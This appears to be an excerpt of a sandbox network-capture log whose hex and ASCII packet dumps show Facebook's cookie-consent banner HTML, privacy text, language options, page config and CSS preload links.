2022-10-08 09:34:27 UTC	249	IN	Data Raw: 6f 6e 74 65 78 74 22 7d 5d 2c 7b 22 61 6c 69 67 6e 68 22 3a 22 6c 65 66 74 22 2c 22 70 6f 73 69 74 69 6f 6e 22 3a 22 62 65 6c 6f 77 22 7d 5d 2c 32 5d 5d 2c 22 6d 61 72 6b 75 70 22 3a 5b 5b 22 5f 5f 6d 61 72 6b 75 70 5f 39 66 35 66 61 63 31 35 5f 30 5f 30 5f 48 50 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 34 2d 69 32 20 5f 70 69 67 20 5f 39 6f 2d 63 20 5f 39 70 6c 6c 20 5f 35 30 66 34 5c 22 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 78 6c 32 5c 22 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 78 6c 33 5c 22 3e 5c 75 30 30 33 43 69 20 63 6c 61 73 73 3d 5c 22 69 6d 67 20 73 70 5f 65 49 49 63 61 5a 41 55 65 58 71 20 73 78 5f 39 37 66 36 38 Data Ascii: ontext"}],{"alignh":"left","position":"below"}],2]],"markup":[["__markup_9f5fac15_0_0_HP",{"__html":"\u003Cdiv>\u003Cdiv class=\"_4-i2 _pig _9o-c _9pll _50f4\">\u003Cdiv class=\"_9xl2\">\u003Cdiv class=\"_9xl3\">\u003Ci class=\"img sp_eIIcaZAUeXq sx_97f68
2022-10-08 09:34:27 UTC	250	IN	Data Raw: 43 5c 2f 69 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 78 6f 34 5c 22 3e 50 72 6f 76 69 64 65 20 61 6e 64 20 69 6d 70 72 6f 76 65 20 46 61 63 65 62 6f 6f 6b 20 50 72 6f 64 75 63 74 73 20 66 6f 72 20 70 65 6f 70 6c 65 20 77 68 6f 20 68 61 76 65 20 61 6e 20 61 63 63 6f 75 6e 74 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 78 6f 30 5c 22 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 64 69 76 3e 46 6f 72 20 61 64 76 65 72 74 69 73 69 6e 67 20 61 6e 64 20 6d 65 61 73 75 72 65 6d 65 6e 74 20 73 65 72 76 69 63 65 73 20 6f 66 66 20 6f 66 20 46 61 63 65 62 6f 6f 6b 20 50 72 6f 64 75 Data Ascii: C\/i>\u003Cdiv class=\"_9xo4\">Provide and improve Facebook Products for people who have an account\u003C\/div>\u003C\/div>\u003C\/div>\u003Cdiv class=\"_9xo0\">\u003C\/div>\u003Cdiv>\u003Cdiv>For advertising and measurement services off of Facebook Produ
2022-10-08 09:34:27 UTC	252	IN	Data Raw: 30 33 43 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 5f 39 6e 67 67 20 5f 39 76 37 76 5c 22 3e 5c 75 30 30 33 43 69 20 63 6c 61 73 73 3d 5c 22 69 6d 67 20 73 70 5f 65 49 49 63 61 5a 41 55 65 58 71 20 73 78 5f 38 65 30 63 62 32 5c 22 3e 5c 75 30 30 33 43 5c 2f 69 3e 5c 75 30 30 33 43 5c 2f 73 70 61 6e 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 62 75 74 74 6f 6e 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 6e 67 62 20 5f 39 6e 67 61 5c 22 3e 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 70 20 63 6c 61 73 73 3d 5c 22 5f 39 6f 2d 6d 5c 22 3e 49 66 20 79 6f 75 20 68 61 76 65 20 61 20 46 61 63 65 62 6f 6f 6b 20 61 63 63 6f 75 6e 74 2c 20 79 6f 75 20 63 61 6e 20 6d 61 6e 61 67 65 20 68 6f 77 20 64 69 66 66 65 72 65 6e 74 20 64 Data Ascii: 03Cspan class=\"_9ngg _9v7v\">\u003Ci class=\"img sp_eIIcaZAUeXq sx_8e0cb2\">\u003C\/i>\u003C\/span>\u003C\/div>\u003C\/button>\u003Cdiv class=\"_9ngb _9nga\">\u003Cdiv>\u003Cp class=\"_9o-m\">If you have a Facebook account, you can manage how different d
2022-10-08 09:34:27 UTC	253	IN	Data Raw: 3e 59 6f 75 20 63 61 6e 20 72 65 76 69 65 77 20 79 6f 75 72 20 6f 66 66 2d 46 61 63 65 62 6f 6f 6b 20 61 63 74 69 76 69 74 79 2c 20 77 68 69 63 68 20 69 73 20 61 20 73 75 6d 6d 61 72 79 20 6f 66 20 61 63 74 69 76 69 74 79 20 74 68 61 74 20 62 75 73 69 6e 65 73 73 65 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 20 73 68 61 72 65 20 77 69 74 68 20 75 73 20 61 62 6f 75 74 20 79 6f 75 72 20 69 6e 74 65 72 61 63 74 69 6f 6e 73 20 77 69 74 68 20 74 68 65 6d 2c 20 73 75 63 68 20 61 73 20 76 69 73 69 74 69 6e 67 20 74 68 65 69 72 20 61 70 70 73 20 6f 72 20 77 65 62 73 69 74 65 73 2e 20 54 68 65 79 20 75 73 65 20 6f 75 72 20 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f Data Ascii: >You can review your off-Facebook activity, which is a summary of activity that businesses and organizations share with us about your interactions with them, such as visiting their apps or websites. They use our \u003Ca href=\"https:\/\/www.facebook.com\/
2022-10-08 09:34:27 UTC	254	IN	Data Raw: 33 34 30 61 0d 0a 46 61 63 65 62 6f 6f 6b 20 4c 6f 67 69 6e 20 6f 72 20 46 61 63 65 62 6f 6f 6b 20 50 69 78 65 6c 2c 20 74 6f 20 73 68 61 72 65 20 74 68 69 73 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 77 69 74 68 20 75 73 2e 20 54 68 69 73 20 68 65 6c 70 73 20 75 73 20 64 6f 20 74 68 69 6e 67 73 20 73 75 63 68 20 61 73 20 67 69 76 65 20 79 6f 75 20 61 20 6d 6f 72 65 20 70 65 72 73 6f 6e 61 6c 69 7a 65 64 20 65 78 70 65 72 69 65 6e 63 65 20 6f 6e 20 46 61 63 65 62 6f 6f 6b 2e 20 4c 65 61 72 6e 20 6d 6f 72 65 20 61 62 6f 75 74 20 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 68 65 6c 70 5c 2f 32 32 30 37 32 35 36 36 39 36 31 38 32 36 32 37 5c 22 3e 6f 66 66 2d 46 61 63 65 62 6f Data Ascii: 340aFacebook Login or Facebook Pixel, to share this information with us. This helps us do things such as give you a more personalized experience on Facebook. Learn more about \u003Ca href=\"https:\/\/www.facebook.com\/help\/2207256696182627\">off-Facebo
2022-10-08 09:34:27 UTC	255	IN	Data Raw: 75 59 4d 5a 4b 41 65 63 56 56 4c 50 4d 52 4e 30 55 6e 66 6b 6d 6c 51 64 2d 39 52 49 78 53 6f 33 44 38 4d 38 48 31 46 41 56 66 31 72 59 66 53 31 6c 36 6a 50 31 5f 48 67 54 30 73 31 4e 72 46 38 76 42 39 77 59 68 30 6a 65 39 33 32 48 71 41 69 56 4c 48 53 4b 57 35 4b 5f 46 37 73 41 37 4a 74 57 51 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 20 72 65 6c 3d 5c 22 6e 6f 66 6f 6c 6c 6f 77 5c 22 20 64 61 74 61 2d 6c 79 6e 78 2d 6d 6f 64 65 3d 5c 22 68 6f 76 65 72 5c 22 3e 44 69 67 69 74 61 6c 20 41 64 76 65 72 74 69 73 69 6e 67 20 41 6c 6c 69 61 6e 63 65 20 6f 66 20 43 61 6e 61 64 61 5c 75 30 30 33 43 5c 2f 61 3e 20 69 6e 20 43 61 6e 61 64 61 20 6f 72 20 74 68 65 20 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 6c 2e 66 Data Ascii: uYMZKAecVVLPMRN0UnfkmlQd-9RIxSo3D8M8H1FAVf1rYfS1l6jP1_HgT0s1NrF8vB9wYh0je932HqAiVLHSKW5K_F7sA7JtWQ\" target=\"_blank\" rel=\"nofollow\" data-lynx-mode=\"hover\">Digital Advertising Alliance of Canada\u003C\/a> in Canada or the \u003Ca href=\"https:\/\/l.f
2022-10-08 09:34:27 UTC	257	IN	Data Raw: 65 72 74 69 73 69 6e 67 20 41 6c 6c 69 61 6e 63 65 5c 75 30 30 33 43 5c 2f 61 3e 5c 75 30 30 33 43 5c 2f 6c 69 3e 5c 75 30 30 33 43 6c 69 3e 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 6c 2e 70 68 70 3f 75 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 32 46 79 6f 75 72 61 64 63 68 6f 69 63 65 73 2e 63 61 5c 75 30 30 32 35 32 46 26 61 6d 70 3b 68 3d 41 54 30 49 71 57 34 39 66 48 7a 74 67 2d 53 38 35 45 4b 6c 59 42 45 73 43 5f 66 47 6d 47 73 37 44 66 57 56 54 54 6f 34 33 38 36 55 75 78 2d 30 73 49 6f 58 4b 72 75 5a 50 63 69 4b 57 36 77 77 4c 43 42 74 58 64 4a 4c 6f 32 72 70 42 78 76 42 67 31 55 57 68 50 78 77 6b 39 31 50 65 68 35 50 4d 4e 33 Data Ascii: ertising Alliance\u003C\/a>\u003C\/li>\u003Cli>\u003Ca href=\"https:\/\/l.facebook.com\/l.php?u=https\u00253A\u00252F\u00252Fyouradchoices.ca\u00252F&h=AT0IqW49fHztg-S85EKlYBEsC_fGmGs7DfWVTTo4386Uux-0sIoXKruZPciKW6wwLCBtXdJLo2rpBxvBg1UWhPxwk91Peh5PMN3
2022-10-08 09:34:27 UTC	258	IN	Data Raw: 73 65 72 2c 20 61 6e 64 20 6d 61 6e 75 66 61 63 74 75 72 65 72 73 20 6d 61 79 20 63 68 61 6e 67 65 20 62 6f 74 68 20 74 68 65 20 73 65 74 74 69 6e 67 73 20 74 68 65 79 20 6d 61 6b 65 20 61 76 61 69 6c 61 62 6c 65 20 61 6e 64 20 68 6f 77 20 74 68 65 79 20 77 6f 72 6b 20 61 74 20 61 6e 79 20 74 69 6d 65 2e 20 41 73 20 6f 66 20 35 20 4f 63 74 6f 62 65 72 20 32 30 32 30 2c 20 79 6f 75 20 6d 61 79 20 66 69 6e 64 20 61 64 64 69 74 69 6f 6e 61 6c 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 65 20 63 6f 6e 74 72 6f 6c 73 20 6f 66 66 65 72 65 64 20 62 79 20 70 6f 70 75 6c 61 72 20 62 72 6f 77 73 65 72 73 20 61 74 20 74 68 65 20 6c 69 6e 6b 73 20 62 65 6c 6f 77 2e 20 43 65 72 74 61 69 6e 20 70 61 72 74 73 20 6f 66 20 46 61 63 65 62 6f 6f 6b 20 50 Data Ascii: ser, and manufacturers may change both the settings they make available and how they work at any time. As of 5 October 2020, you may find additional information about the controls offered by popular browsers at the links below. Certain parts of Facebook P
2022-10-08 09:34:27 UTC	259	IN	Data Raw: 4e 53 74 64 4f 51 4f 7a 6d 78 50 43 50 57 2d 53 4e 79 4b 48 78 67 36 59 4f 4a 6a 69 4d 38 76 6e 55 59 32 39 74 67 78 76 32 50 68 65 54 65 36 4a 78 30 74 37 79 38 6a 41 37 66 37 4a 48 75 34 6f 39 56 37 53 56 63 53 45 6d 31 77 4e 4d 53 79 4f 32 31 6b 30 4a 71 64 69 67 44 2d 51 69 32 34 74 2d 4c 77 64 6c 62 77 67 4f 5f 62 45 62 4c 48 34 61 66 48 7a 4f 73 62 7a 5a 47 43 44 74 65 71 65 79 76 38 4b 72 64 4f 74 59 56 43 57 59 39 63 7a 67 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 20 72 65 6c 3d 5c 22 6e 6f 66 6f 6c 6c 6f 77 5c 22 20 64 61 74 61 2d 6c 79 6e 78 2d 6d 6f 64 65 3d 5c 22 68 6f 76 65 72 5c 22 3e 46 69 72 65 66 6f 78 5c 75 30 30 33 43 5c 2f 61 3e 5c 75 30 30 33 43 5c 2f 6c 69 3e 5c 75 30 30 33 43 6c 69 3e 5c 75 30 30 33 43 61 20 68 72 Data Ascii: NStdOQOzmxPCPW-SNyKHxg6YOJjiM8vnUY29tgxv2PheTe6Jx0t7y8jA7f7JHu4o9V7SVcSEm1wNMSyO21k0JqdigD-Qi24t-LwdlbwgO_bEbLH4afHzOsbzZGCDteqeyv8KrdOtYVCWY9czg\" target=\"_blank\" rel=\"nofollow\" data-lynx-mode=\"hover\">Firefox\u003C\/a>\u003C\/li>\u003Cli>\u003Ca hr
2022-10-08 09:34:27 UTC	261	IN	Data Raw: 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 78 6f 35 5c 22 3e 5c 75 30 30 33 43 62 75 74 74 6f 6e 20 76 61 6c 75 65 3d 5c 22 31 5c 22 20 63 6c 61 73 73 3d 5c 22 5f 34 32 66 74 20 5f 34 6a 79 30 20 5f 39 78 6f 36 20 5f 34 6a 79 33 20 5f 34 6a 79 31 20 73 65 6c 65 63 74 65 64 20 5f 35 31 73 79 5c 22 20 64 61 74 61 2d 63 6f 6f 6b 69 65 62 61 6e 6e 65 72 3d 5c 22 61 63 63 65 70 74 5f 6f 6e 6c 79 5f 65 73 73 65 6e 74 69 61 6c 5f 62 75 74 74 6f 6e 5c 22 20 64 61 74 61 2d 74 65 73 74 69 64 3d 5c 22 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 2d 6d 61 6e 61 67 Data Ascii: /div>\u003C\/div>\u003C\/div>\u003C\/div>\u003C\/div>\u003C\/div>\u003Cdiv class=\"_9xo5\">\u003Cbutton value=\"1\" class=\"_42ft _4jy0 _9xo6 _4jy3 _4jy1 selected _51sy\" data-cookiebanner=\"accept_only_essential_button\" data-testid=\"cookie-policy-manag
2022-10-08 09:34:27 UTC	262	IN	Data Raw: 30 63 30 37 39 5f 30 5f 64 5f 37 70 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 50 6f 72 74 75 67 75 5c 75 30 30 65 61 73 20 28 42 72 61 73 69 6c 29 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 65 5f 45 6a 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 50 6f 72 74 75 67 75 5c 75 30 30 65 61 73 20 28 50 6f 72 74 75 67 61 6c 29 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 66 5f 6d 4d 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 52 6f 6d 5c 75 30 30 65 32 6e 5c 75 30 31 30 33 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 67 5f 44 2b 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 53 75 6f 6d 69 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f Data Ascii: 0c079_0_d_7p",{"__html":"Portugu\u00eas (Brasil)"},1],["__markup_3310c079_0_e_Ej",{"__html":"Portugu\u00eas (Portugal)"},1],["__markup_3310c079_0_f_mM",{"__html":"Rom\u00e2n\u0103"},1],["__markup_3310c079_0_g_D+",{"__html":"Suomi"},1],["__markup_3310c079_
2022-10-08 09:34:27 UTC	264	IN	Data Raw: 22 5f 5f 65 6c 65 6d 5f 34 35 64 37 33 62 35 64 5f 30 5f 32 5f 63 75 22 2c 22 6c 6f 67 69 6e 62 75 74 74 6f 6e 22 2c 31 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 66 34 36 66 34 39 34 36 5f 30 5f 30 5f 67 42 22 2c 22 75 5f 30 5f 33 5f 46 39 22 2c 31 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 66 34 36 66 34 39 34 36 5f 30 5f 31 5f 58 52 22 2c 22 75 5f 30 5f 34 5f 36 65 22 2c 31 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 31 5f 36 69 22 2c 22 75 5f 30 5f 35 5f 54 35 22 2c 31 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 39 66 35 66 61 63 31 35 5f 30 5f 30 5f 39 4a 22 2c 22 70 61 67 65 6c 65 74 5f 62 6c 75 65 62 61 72 22 2c 31 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 34 35 65 39 34 64 64 38 5f 30 5f 30 5f 6e 37 22 2c 22 70 61 67 65 6c 65 74 5f 62 6c 75 65 62 61 72 22 2c 31 5d Data Ascii: "__elem_45d73b5d_0_2_cu","loginbutton",1],["__elem_f46f4946_0_0_gB","u_0_3_F9",1],["__elem_f46f4946_0_1_XR","u_0_4_6e",1],["__elem_a588f507_0_1_6i","u_0_5_T5",1],["__elem_9f5fac15_0_0_9J","pagelet_bluebar",1],["__elem_45e94dd8_0_0_n7","pagelet_bluebar",1]
2022-10-08 09:34:27 UTC	265	IN	Data Raw: 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 65 6e 69 65 64 5c 75 30 30 32 35 32 30 66 6f 72 5c 75 30 30 32 35 32 30 75 73 65 72 5c 75 30 30 32 35 32 30 27 64 62 6e 65 77 30 31 27 5c 75 30 30 34 30 27 6c 6f 63 61 6c 68 6f 73 74 27 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c Data Ascii: 0253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EWarning\u00253C\/b\u00253E:\u002520\u002520mysql_pconnect():\u002520Access\u002520denied\u002520for\u002520user\u002520'dbnew01'\u0040'localhost'\u002520(using\u002520password:\u002520YES)\
2022-10-08 09:34:27 UTC	267	IN	Data Raw: 5f 30 5f 30 5f 58 50 22 2c 22 5f 5f 69 6e 73 74 5f 30 32 31 38 32 30 31 35 5f 30 5f 30 5f 69 43 22 5d 2c 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 65 63 37 37 61 66 62 64 5f 30 5f 30 5f 58 50 22 7d 2c 7b 22 5f 5f 6d 22 3a 22 5f 5f 69 6e 73 74 5f 30 32 31 38 32 30 31 35 5f 30 5f 30 5f 69 43 22 7d 2c 22 65 6e 5f 55 53 22 2c 74 72 75 65 2c 22 46 61 63 65 62 6f 6f 6b 22 5d 5d 2c 5b 22 5f 5f 69 6e 73 74 5f 65 61 64 31 65 35 36 35 5f 30 5f 30 5f 52 74 22 5d 2c 5b 22 57 65 62 43 6f 6f 6b 69 65 55 73 65 53 69 6e 67 6c 65 4c 65 76 65 6c 4d 61 6e 61 67 65 44 69 61 6c 6f 67 43 6f 6e 74 72 6f 6c 6c 65 72 22 2c 22 69 6e 69 74 22 2c 5b 22 5f 5f 69 6e 73 74 5f 65 61 64 31 65 35 36 35 5f 30 5f 30 5f 52 74 22 2c 22 5f 5f 65 6c 65 6d 5f 34 35 64 37 33 62 35 64 5f 30 Data Ascii: _0_0_XP","__inst_02182015_0_0_iC"],[{"__m":"__elem_ec77afbd_0_0_XP"},{"__m":"__inst_02182015_0_0_iC"},"en_US",true,"Facebook"]],["__inst_ead1e565_0_0_Rt"],["WebCookieUseSingleLevelManageDialogController","init",["__inst_ead1e565_0_0_Rt","__elem_45d73b5d_0
2022-10-08 09:34:27 UTC	268	IN	Data Raw: 5f 69 6e 73 74 5f 65 35 61 64 32 34 33 64 5f 30 5f 30 5f 35 75 22 5d 2c 5b 22 5f 5f 69 6e 73 74 5f 31 64 65 31 34 36 64 63 5f 30 5f 30 5f 6a 35 22 5d 2c 5b 22 43 6f 6f 6b 69 65 41 63 63 6f 72 64 69 6f 6e 22 2c 22 69 6e 69 74 22 2c 5b 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 34 5f 2b 6c 22 5d 2c 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 34 5f 2b 6c 22 7d 2c 22 5f 39 6e 67 62 22 2c 22 2e 5f 39 6e 67 61 22 2c 22 2e 5f 39 6e 67 64 22 2c 22 2e 5f 39 6e 67 67 22 5d 5d 2c 5b 22 43 6f 6f 6b 69 65 41 63 63 6f 72 64 69 6f 6e 22 2c 22 69 6e 69 74 22 2c 5b 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 35 5f 63 67 22 5d 2c 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f Data Ascii: _inst_e5ad243d_0_0_5u"],["__inst_1de146dc_0_0_j5"],["CookieAccordion","init",["__elem_a588f507_0_4_+l"],[{"__m":"__elem_a588f507_0_4_+l"},"_9ngb","._9nga","._9ngd","._9ngg"]],["CookieAccordion","init",["__elem_a588f507_0_5_cg"],[{"__m":"__elem_a588f507_0_
2022-10-08 09:34:27 UTC	270	IN	Data Raw: 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 68 2f 6c 2f 30 2c 63 72 6f 73 73 2f 39 59 56 77 47 79 69 55 4d 37 58 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 61 73 3d 22 73 74 79 6c 65 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 5f 2f 6c 2f 30 2c 63 72 6f 73 73 2f 48 73 77 43 2d 6a 69 6d 51 48 6b 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 61 73 3d 22 73 74 79 6c 65 22 20 2f 3e 0a Data Ascii: link rel="preload" href="https://static.xx.fbcdn.net/rsrc.php/v3/yh/l/0,cross/9YVwGyiUM7X.css?_nc_x=Ij3Wp8lg5Kz" as="style" /><link rel="preload" href="https://static.xx.fbcdn.net/rsrc.php/v3/y_/l/0,cross/HswC-jimQHk.css?_nc_x=Ij3Wp8lg5Kz" as="style" />
2022-10-08 09:34:27 UTC	271	IN	Data Raw: 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 6f 2f 6c 2f 30 2c 63 72 6f 73 73 2f 58 48 77 75 41 5f 5f 34 32 41 66 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 61 73 3d 22 73 74 79 6c 65 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 39 2f 6c 2f 30 2c 63 72 6f 73 73 2f 71 62 76 39 35 6f 5a 33 65 6c 42 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 61 73 3d 22 73 74 79 6c 65 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 Data Ascii: href="https://static.xx.fbcdn.net/rsrc.php/v3/yo/l/0,cross/XHwuA__42Af.css?_nc_x=Ij3Wp8lg5Kz" as="style" /><link rel="preload" href="https://static.xx.fbcdn.net/rsrc.php/v3/y9/l/0,cross/qbv95oZ3elB.css?_nc_x=Ij3Wp8lg5Kz" as="style" /><link rel="preload
2022-10-08 09:34:27 UTC	273	IN	Data Raw: 68 61 73 65 3a 74 72 75 65 2c 74 74 69 5f 70 68 61 73 65 3a 30 2c 61 6c 6c 5f 70 68 61 73 65 73 3a 5b 36 33 5d 2c 68 73 72 70 3a 7b 68 62 6c 70 3a 7b 63 6f 6e 73 69 73 74 65 6e 63 79 3a 7b 72 65 76 3a 31 30 30 36 33 35 35 33 32 37 7d 7d 7d 2c 61 6c 6c 52 65 73 6f 75 72 63 65 73 3a 5b 22 31 33 45 77 71 6a 69 22 2c 22 2f 6f 30 47 44 55 6d 22 2c 22 70 6c 43 48 4f 72 72 22 2c 22 42 49 79 6c 4b 43 34 22 2c 22 38 7a 62 45 5a 74 75 22 2c 22 76 47 74 32 6d 78 7a 22 2c 22 68 4b 59 30 51 4b 54 22 2c 22 6d 52 70 44 77 6d 64 22 2c 22 6e 36 57 34 78 4d 48 22 2c 22 68 33 5a 7a 41 6d 47 22 2c 22 55 32 2b 36 53 48 35 22 2c 22 36 71 62 77 33 50 51 22 2c 22 64 41 78 58 30 6a 6a 22 2c 22 63 59 55 33 63 33 32 22 2c 22 34 42 47 54 6d 43 37 22 2c 22 37 39 56 39 63 56 5a 22 2c Data Ascii: hase:true,tti_phase:0,all_phases:[63],hsrp:{hblp:{consistency:{rev:1006355327}}},allResources:["13Ewqji","/o0GDUm","plCHOrr","BIylKC4","8zbEZtu","vGt2mxz","hKY0QKT","mRpDwmd","n6W4xMH","h3ZzAmG","U2+6SH5","6qbw3PQ","dAxX0jj","cYU3c32","4BGTmC7","79V9cVZ",
2022-10-08 09:34:27 UTC	274	IN	Data Raw: 5f 66 69 78 3a 66 61 6c 73 65 2c 72 65 66 5f 63 6f 75 6e 74 69 6e 67 5f 63 6f 6e 74 5f 66 69 78 3a 66 61 6c 73 65 2c 61 6c 73 6f 5f 72 65 63 6f 72 64 5f 6e 65 77 5f 74 69 6d 65 73 6c 69 63 65 5f 66 6f 72 6d 61 74 3a 66 61 6c 73 65 2c 66 6f 72 63 65 5f 61 73 79 6e 63 5f 72 65 71 75 65 73 74 5f 74 72 61 63 69 6e 67 5f 6f 6e 3a 66 61 6c 73 65 7d 2c 32 36 30 39 5d 2c 5b 22 57 65 62 44 72 69 76 65 72 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 69 73 54 65 73 74 52 75 6e 6e 69 6e 67 3a 66 61 6c 73 65 2c 69 73 4a 65 73 74 45 32 45 54 65 73 74 52 75 6e 3a 66 61 6c 73 65 2c 69 73 58 52 65 71 75 65 73 74 43 6f 6e 66 69 67 45 6e 61 62 6c 65 64 3a 66 61 6c 73 65 2c 61 75 78 69 6c 69 61 72 79 53 65 72 76 69 63 65 49 6e 66 6f 3a 7b 7d 2c 74 65 73 74 50 61 74 68 3a 6e 75 6c 6c Data Ascii: _fix:false,ref_counting_cont_fix:false,also_record_new_timeslice_format:false,force_async_request_tracing_on:false},2609],["WebDriverConfig",[],{isTestRunning:false,isJestE2ETestRun:false,isXRequestConfigEnabled:false,auxiliaryServiceInfo:{},testPath:null
